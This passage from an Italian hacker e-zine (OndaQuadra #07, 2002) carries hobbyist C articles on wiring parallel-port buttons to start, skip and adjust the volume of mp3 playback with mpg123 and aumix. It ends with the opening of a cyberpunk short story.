| nn e' quello del vostro computer, quello ha un'altra funzione, lo |
| kiamo cosi' perke' la sua funzione originale era quella :P) |
| ora....la mia mente lesa mika poteva fermarsi qui, anke perke' un |
| programma del genere di utilita' ne ha ben poca. cioe' fiko vedere ke |
| posso far vedere al pc delle cose ke succedono in the real life, pero' |
| passato l'orgasmo iniziale finisce li'. |
| cosi'....ecco ke faccio: |
| |
| int main() |
| { |
| int i; |
| printf("\e[1;31mAutismo andante avviato.... :)\e[0m\n"); |
| pin_init_user(LPT1); |
| pin_input_mode(LP_PIN03); |
| |
| if (pin_is_set(LP_PIN[3])) |
| i=1; |
| else |
| i=0; |
| |
| while(1) |
| { |
| if (pin_is_set(LP_PIN[3]) && i==0 || !pin_is_set(LP_PIN[3]) && i==1) |
| { |
| i=i?0:1; |
| if (system("ps -e | grep mpg123 > /dev/null")) |
| system("mpg123 -zZ /home/lesion/muzik/*mp3* 2> /dev/null &"); |
| else |
| system("killall -2 mpg123"); |
| } |
| usleep(100000); |
| } |
| |
| |
| } |
| |
| |
| e qui la spiegazione diventa un tantino + lunga: |
| sendiamo un messaggio stupido (poi capite perke'), inizializziamo la |
| parallela, gli diciamo ke vogliamo usare il terzo pin come input, e |
| poi settiamo i allo stato attuale del pin. |
| il ciclo principale, nn fa' altro ke controllare se lo stato del pin |
| e' cambiato, quindi se i era off e ora il pin e' on o viceversa, |
| significa ke lo stato del terzo pin e' cambiato, ovvero abbiamo |
| premuto il tastino. |
| ovviamente cambiamo il valore di i (ke serve x tenere a memoria il |
| valore dello stato del pin in questione x verificare se cambia) e poi |
| ci inoltriamo nella vera chicca del programma: |
| if (system("ps -e | grep mpg123 > /dev/null")) |
| |
| come tutti sappiamo, la system restituisce -1 se la fork di sh |
| fallisce, altrimenti il valore di ritorno del programma avviato, |
| ovvero la classica $? della bash. |
| vediamo il tutto da shell con un esempio + facile: |
| |
| [13:59:30]~/hack/sklero$ ps -e | grep ciccio |
| [14:05:51]~/hack/sklero$ echo $? |
| 1 |
| [14:05:53]~/hack/sklero$ ps -e | grep ps |
| 1129 tty3 00:00:00 ps |
| [14:05:58]~/hack/sklero$ echo $? |
| 0 |
| [14:06:01]~/hack/sklero$ |
| |
| se grep trova il processo tra la lista, allora esce con uno 0 |
| altrimenti con un 1, i valori restituiti dalla system, ke cerca pero' |
| la presenza del processo mpg123 (x ki nn lo sapesse e' un player mp3). |
| se la system esce con uno, significa ke il processo nn c'e', e quindi |
| lo avviamo noi (le opzioni mettetele voi come volete...) in |
| background, mandando l'output a /dev/null in modo ke nn rompa. |
| se invece il processo esiste, gli mandiamo un segnale tramite kill, ke |
| e' il -2, ovvero un sigint, ke sarebbe come premere ctrl+c su mpg123. |
| mpg123, alla pressione di ctrl+c semplicemente cambia canzone, cosa ke |
| fara' alla ricezione di un sigint. |
| cosi con pokissime righe di codice ed ankora meno stagno, abbiamo |
| ottenuto un pulsantino ke se premuto avvia la musica e se ripremuto |
| cambia canzone. ora compiliamo (ricordatevi il -lparapin) e lo copiamo |
| dentro /usr/bin/ con un nome un po' carino. |
| infine mettiamo dentro /etc/rc.d/rc.local l'avvio del programma (in bg |
| naturalmente, altrimenti ci si fotte la shell) se siamo in slack o in |
| qlsiasi file eseguito all'avvio nelle altre distro. |
| riavviate il pc, e vedrete il messaggio di prima durante il boot :) |
| ovviamente le applicazioni sono infinite, potete metterci tanti bei |
| tastini e dare ad ognuno una funzione carina, del tipo avviare X, o |
| ppp-go ppp-off, o aafire o fortune o fetchmail o pine o BitchX o links |
| www.google.com o.... scusate x gli errori di |
| verbi/tempi/congiuntivi/avverbi e ki + ne ha ne metta. se fate qlcsa |
| di carino DITELO!! :P |
| ah dimenticavo, fate un supporto carino al tasto, io ho usato il |
| contenitore delle cartucce della stampante saldato alla scrivania, nn |
| e' niente male. |
| free kisses |
| lesion@autistici.org |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ MiSC #07 - 01/08/2002 |
| EV0LUZi0NE MUSiC [JEYoNE_lesion] 0x11/0x19 |
+--------------------------------------------------------------------------+
| Bene. Partendo dal presupposto che quello che e` successo all'hackit e` |
| stata soltanto un'evoluzione del progetto di lesion, inserito in questo |
| numero, -aggiungiamo il tasto music- comincio a spiegare un po` come |
| sono |
| andate le cose. Cominciamo col dire che il promo giorno, venerdi`21, |
| lesion era eccitatissimo nel far vedere la SUA creazione [emmadonna...nn |
| mi pare di aver visto nulla sbucare dalla cerniera dei pantaloni mentre |
| facevo visionare la mia creazioncina :)) ndles] , il tastino che |
| faceva partire la musica. Siamo stati li a vedere la sua spiegazione, |
| ci |
| ha fatto leggere il codice ecc ecc, ma poi tutto e` finito li. E |
| sarebbe |
| finito li, se quella notte non ci fosse stata una fottuta civetta |
| appollaiata sopra la finestra della mia camera a rompere i coglioni. |
| Si`, perche` dovete sapere che per merito di quella civetta il |
| sottoscritto non e` riuscito a dormire, e nell'autismo piu` assoluto ha |
| cominciato a pensare come poter ampliare quelle quattro righe di codice |
| scritte da lesion, per fare un aggeggio un po` piu` carino... |
| Mumble mumble... |
| Mi sono detto, la parallela ha 17 pin disponibili, perche` |
| limitarci ad usarne uno soltanto? Ok, vediamo un attimo com'e` la |
| situescion, un pin comanda le canzoni, e le fa skippare, mmmh... |
| la cosa e` simpatica, ma praticamente inutile, messa cosi`.. |
| [eddai proprio inutile no su su... :)) io la uso ankora nsles] |
| {beh,se ti fossi portato a casa il prj al posto che lasciarlo al TPO |
| forse ti saresti accorto che questo era meglio. Ndjey} |
| Allora ho pensato di aggiungere qualche tasto, niente di impegnativo, |
| solo qualche altra funzione che poteva tornare utile alla nostra |
| simpatica interfaccia. |
| E se aggiungessimo il tasto del volume? |
| Possibile? |
| Domani chiedo a lesion |
| Questi sono stati i pensieri che giravano nella mia testa, l'indomani |
| mattina lo dico a lesion, e lui, ancora piu eccitato di quando ci ha |
| mostrato il suo progetto, si mette a codare. |
| A questo punto il problema era un'altro: l'hardware! |
| Dove cazzo trovo dei pulsanti? |
| Ci sono qualcosa tipo 400 pc in tutto il tpo, ma mica posso andare in |
| giro a chiedere a tutti se mi fanno smontare un tasto dalla loro |
| macchina, no? |
| Qui arriva in nostro aiuto beb0s [baci a beb0s ndl], che ci dona |
| gentilmente una pulsantiera (a proposito di questo, volevo ringraziare |
| Pincopall, che ha subito un FURTO vero e proprio da parte di beb0s :)) ) |
| che faceva parte di una vecchia fotocopiatrice smontata la notte di |
| giovedi. |
| Bene, abbiamo quattro bei pulsanti, che ci facciamo? |
| Come abbiamo gia detto, uno fa lo skip delle canzoni, due fanno il |
| volume (+ e -) e l'altro? |
| mmmmh |
| Lo usiamo per spegnere il tutto, perche` no? |
| Una volta decisi i comportamenti che i pulsanti avrebbero dovuto |
| tenere, |
| viene fuori un'altro problema.... come cazzo facciamo a saldare i fili, |
| che non abbiamo ne saldatore ne stagno? |
| come facciamo a testare i fili, che non abbiamo il tester? |
| Ok, facciamo un giro per il TPO, ci sara` qualche mente malata che si |
| e` |
| portato dietro il tutto... |
| Dopo aver girato mezzo TPO alla ricerca di tutto il necessario, guarda |
| te, lo trovo al tavolo dietro al nostro! |
| hehehe |
| Mia mamma mi ha sempre detto che le cose sono piu vicine di quello che |
| si pensa, e io mai a darle retta! |
| :) |
| [eh...la mmamma e' ssempre la mmamma...e tiene sempre rraggione :)) ndl] |
| Beh, anche qui un ringraziamento dovuto va a vampire, che ci ha fornito |
| TUTTO, ma proprio tutto! |
| [bacetti anke a vampire ndl] |
| Saldatore, stagno, tester... figo! |
| OK, abbiamo tutto il materiale, cominciamo? |
| Via, si parte! |
| Tester alla mano provo tutti i pin della parallela, cercando quelli |
| che, |
| in corto con la massa, diano i +5v. |
| Me ne servono 4, ok, trovati! |
| Comincio a saldare sui contatti, ma poi mi accorgo allegramente che |
| questa bellissima pulsantiera ha anche 4 led, e allora perche` non |
| utilizzare anche quelli? |
| Detto, fatto. |
| Faccio dei ponticelli per dare alimentazione ai led, una volta finito |
| il |
| tutto vado da lesion, che nel frattempo ha finito di codare, e proviamo |
| tutto l'ambaradan. |
| Bene, funziona! |
| Evviva! |
| Siamo riusciti nel nosro esperimento con del materiale di fortuna, |
| McGiver ci fa una pippa! :)))) |
| In un futuro prossimo ci sara` un'ulteriore evoluzine di questo |
| progetto, molto piu complicata, ma molto piu interessante. |
| Sara` spiegata piu nei dettagli, e probabilmente formiremo anche il pcb |
| del circuito, la lista dei componenti, e, ovviamente, tutto il codice |
| per farlo funzionare! |
| Io ho finito, passo la palla a lesion ci si cimentera` nella |
| spiegazione |
| del codice. |
| |
| Ah, sono doverosi alcuni ringraziamenti: |
| A E4zy per l'idea dei led e per il supporto (non intendo quello morale, |
| mi teneva le cose quando avevo bisogno :)) ) |
| A embyte per il nastro isolante e il coltellino (utilissimo per spelare |
| i fili, eravamo senza le forbici) |
| A zed per la birra (mi ha offerto 3 lattine durante l'esecuzione del |
| progetto, forse e` per questo che ci sono dei *cipollotti* di stagno :) |
| |
| A Pincopall (e beb0s) per la pulsantiera |
| A vampire per lo stagno, il tester e il saldatore |
| A tutti gli altri che non ricordo, o di cui non conosco il nickname, |
| grazie lo stesso! |
| |
| kissessssssss |
| |
| JEYoNE |
| |
| |
| |
| e zack piglio la palla e commento queste quattro righe di codice scritte |
| in condizioni psicofisike nn del tutto ottimali. |
| sostanzialmente la pasta e' quella dell'art. precedente, quindi |
| eviterei |
| la descrizione delle stesse cose. |
| commento solo la roba aggiunta. |
| ah, prima di cominciare a commentare il codice, ci terrei a precisare ke |
| il funzionamento di questi tasti e' differente da quelli provati |
| precedentemente dal sottoscritto, nel senso ke quelli, una volta |
| premuti |
| cambiavano stato anke se venivano rilasciati, e tornavano nello stato |
| precedente solo ad una seconda pressione (vedi tasto reset, ke una |
| volta |
| premuto resta tale finke' nn lo si ripreme), mentre questi cambiano lo |
| stato solo durante la pressione (tipo i tasti della tastiera). |
| di conseguenza, interpretate il codice a dovere. |
| |
| ----+coding--- |
| #include <unistd.h> |
| #include <sys/io.h> |
| #include <stdio.h> |
| #include <parapin.h> |
| #include <sys/types.h> |
| |
| |
| int main() |
| { |
| |
| //questo array lo uso x memorizzare lo stato dei 4 pulsanti |
| int p[4]; |
| |
| //questa variabile la uso per memorizzare il volume |
| int vol; |
| |
| char s[20]; |
| |
| FILE *file; |
| |
| printf("\e[1;31mAutismo andante avviato.... :)\e[0m\n"); |
| |
| //i pin sono i primi ke j1 ha trovato, quindi dovreste cambiarli. |
| //il numero lo trovate con il programma descritto all'inizio del |
| //precedente articolo. |
| //cmq li settiamo in input mode. |
| pin_init_user(LPT1); |
| pin_input_mode(LP_PIN16); |
| pin_input_mode(LP_PIN14); |
| pin_input_mode(LP_PIN07); |
| pin_input_mode(LP_PIN02); |
| |
| |
| //e ne controlliamo lo stato iniziale. |
| |
| if (pin_is_set(LP_PIN16)) p[0]=1; |
| else p[0]=0; |
| |
| if (pin_is_set(LP_PIN07)) p[1]=1; |
| else p[1]=0; |
| |
| if (pin_is_set(LP_PIN14)) p[2]=1; |
| else p[2]=0; |
| |
| if (pin_is_set(LP_PIN02)) p[3]=1; |
| else p[3]=0; |
| |
| //cominciamo il ciclo principale |
| while(1) |
| { |
| |
| //ecco cosa cambia con l'uso dei nuovi tasti. |
| //confrontate questa parte con il programma precedente... |
| if (!pin_is_set(LP_PIN16) && p[0]==1) |
| p[0]=0; |
| |
| //vedere spiegazione art. precedente |
| if (pin_is_set(LP_PIN16) && p[0]==0) |
| { |
| p[0]=1; |
| |
| if (system("ps -e | grep mpg123 > /dev/null")) |
| system("mpg123 -zZ /home/lesion/muzik/*mp3* |
| > /dev/null 2> /dev/null &"); |
| else |
| system("killall -2 mpg123"); |
| } |
| |
| |
| if (!pin_is_set(LP_PIN07) && p[1]==1) |
| p[1]=0; |
| |
| if (pin_is_set(LP_PIN07) && p[1]==0) |
| { |
| p[1]=1; |
| |
| |
| system("aumix -q | head -1 | cut -d \" \" -f 3 > .vol"); |
| file=fopen(".vol","r"); |
| fgets(s,19,file); |
| fclose(file); |
| vol=atoi(s); |
| if (vol<5) |
| vol=0; |
| else |
| vol-=5; |
| sprintf(s,"aumix -v %i",vol); |
| system(s); |
| /* |
| allora...questo merita 2 righe di spiega. |
| questa cosa dovrebbe abbassare il volume. |
| ok, +odio verso la system(), pero' x programmi di merda tipo questo |
| va + ke bene. |
| con la prima system kiamo il programma aumix (ke e' un mixer x console, |
| e ovviamente dovete averlo) con l'opzione -q (q: query all channels |
| and |
| print their settings). |
| praticamente ci printa lo stato di tutti i canali. |
| il primo canale indica il volume in generale, e noi lo strippiamo |
| redirigendo "aumix -q" su "head -1", ke si prende appunto la prima riga. |
| quello ke esce e' qlcsa tipo: |
| |
| vol n, n |
| |
| dove n sono 2 numeri ke indicano il volume x la cassa destra e quello x |
| la sinistra. |
| noi vogliamo controllare solo il volume globale, e quindi prendiamo da |
| questa stringa solo uno dei 2 n, in questo caso il terzo perke' nn ci |
| sono virgole di intralcio. facciamo questo con un "cut -d \" \" -f 3" |
| (man cut), e ridirigiamo il tutto su un file. |
| poi apriamo il file in lettura, e leggiamo cosa c'e' scritto dentro, |
| assegnandolo alla variabile vol. |
| ok, ora sappiamo a quanto e' settato il volume. |
| controlliamo se e' minore di 5 (ed in questo caso lo azzeriamo), |
| altrimenti |
| lo diminuiamo di 5 (vol x ora). |
| poi sempre con aumix, lo abbassiamo (con l'ultima system). |
| l'opzione -v di aumix ci permette di settare a nostro piacimento il |
| volume. |
| aumix --help x + info. |
| |
| */ |
| |
| } |
| |
| |
| if (!pin_is_set(LP_PIN14) && p[2]==1) |
| p[2]=0; |
| |
| |
| //qui stessa cosa di prima ma alziamo il volume invece di |
| //abbassarlo. il succo e' lo stesso |
| if (pin_is_set(LP_PIN14) && p[2]==0) |
| { |
| p[2]=1; |
| if (vol>95) |
| vol=100; |
| else |
| vol+=5; |
| sprintf(s,"aumix -v %i",vol); |
| system(s); |
| } |
| |
| //e qui killiamo il tutto |
| if (!pin_is_set(LP_PIN02) && p[3]==1) |
| p[3]=0; |
| |
| if (pin_is_set(LP_PIN02) && p[3]==0) |
| { |
| p[3]=1; |
| system("killall mpg123"); |
| } |
| |
| |
| //x evitare l'implosione del processore :) |
| //con questa evitiamo ke il processo ci sukki troppe risorse) |
| usleep(100000); |
| } |
| |
| |
| } |
| |
| |
| ----------- |
| |
| ok, lanciate in bg e divertitevi a creare nuove cosine :) |
| mettere in /etc/rc.d/rc.local x un divertimento assicurato. |
| lesion@autistici.org |
| jeyone@ondaquadra.org |
| |
| **Status Log On: |
| |
| <JEYoNE> fiko |
| <JEYoNE> è venuto fuori un bell'articolo cmq |
| <JEYoNE> molto terra a terra |
| <JEYoNE> mi piace |
| <JEYoNE> :)) |
| <lesion> :) |
| <lesion> si si terra terra |
| <lesion> :P |
| <JEYoNE> massa a massa |
| <JEYoNE> ihih |
| <lesion> HAAHHAAHAH |
| |
| **Status Log Off |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0 SCiAMAN0 #07 - 01/08/2002 |
| NU0VE iNF0RMAZi0Ni [MinDBlinD] 0x12/0x19 |
+--------------------------------------------------------------------------+
| Nuove informazioni |
| |
| Correva libero nellerba alta puntando i piedi in avanti come uno |
| stambecco, in modo da toccare il suolo solo con le punte. Sembrava |
| volasse sul campo addormentato del primo mattino, ancora avvolto da una |
| leggera foschia ed accarezzato dalla fresca rugiada. |
| Aveva pensato molte volte alla condizione fisica chiamata libertà |
| perché troppo spesso era stato prigioniero. |
| Bloccato anche stavolta dalla fame di informazioni ad un livello 0 di |
| vita vegetativa. Questa voglia insaziabile di succhiare immagini, |
| suoni, odori, sapori di altre vite, di altre menti che come la sua |
| avevano esplorato uno spazio reale o fittizio, non lo abbandonava mai. |
| Lui era leroe che difendeva la libera circolazione delle informazioni |
| e combatteva la conoscenza limitata e programmata imposta dal Diritto. |
| Sosteneva infatti, che il vissuto di ciascuno di noi doveva essere |
| patrimonio comune. Come fanno i branchi di gazzelle per difendersi dai |
| predatori, secondo le antichissime leggi della sopravvivenza, era un |
| obbligo trasmettere lesperienza personale al resto degli individui, a |
| tutta la specie. Così sarebbe dovuto essere anche qui, anche oggi per |
| lHomo Sapiens. Invece letologia ci insegna che questa specie è |
| lunica ad uccidere se stessa: luomo è il solo nemico delluomo. |
| Sempre è stato così e purtroppo sempre sarà così! |
| Ecco perché lui si trovava imballato in un ovulo pressurizzato, |
| immobilizzato gambe e braccia, intubato da una decina di cannule che |
| gli penetravano nelle vene, nei polmoni e negli organi uretrali. |
| |
| Lodierna società non era altro che quella vecchia ripassata a nuovo da |
| un maquillage tecnologico: elettronica intelligente iperinvadente in |
| ogni ambito della vita quotidiana, tanto da poter essere considerata |
| unestensione dellarchitettura funzionale umana; vecchie leggi morali |
| o anzi moralistiche completamente cancellate (fa ridere pensare che |
| solo pochi decenni fa ancora si discuteva di bioetica, mentre poi |
| lingegneria genetica è stato il settore economico che ha sfornato più |
| miliardari, battendo anche quello dellinformazione applicata). |
| Il nuovo Diritto, creato ad hoc per il marketing informatico, tutelava |
| strenuamente la proprietà privata dei dati. Ad ogni individuo era |
| associato dalla nascita un database, che si arricchiva di inf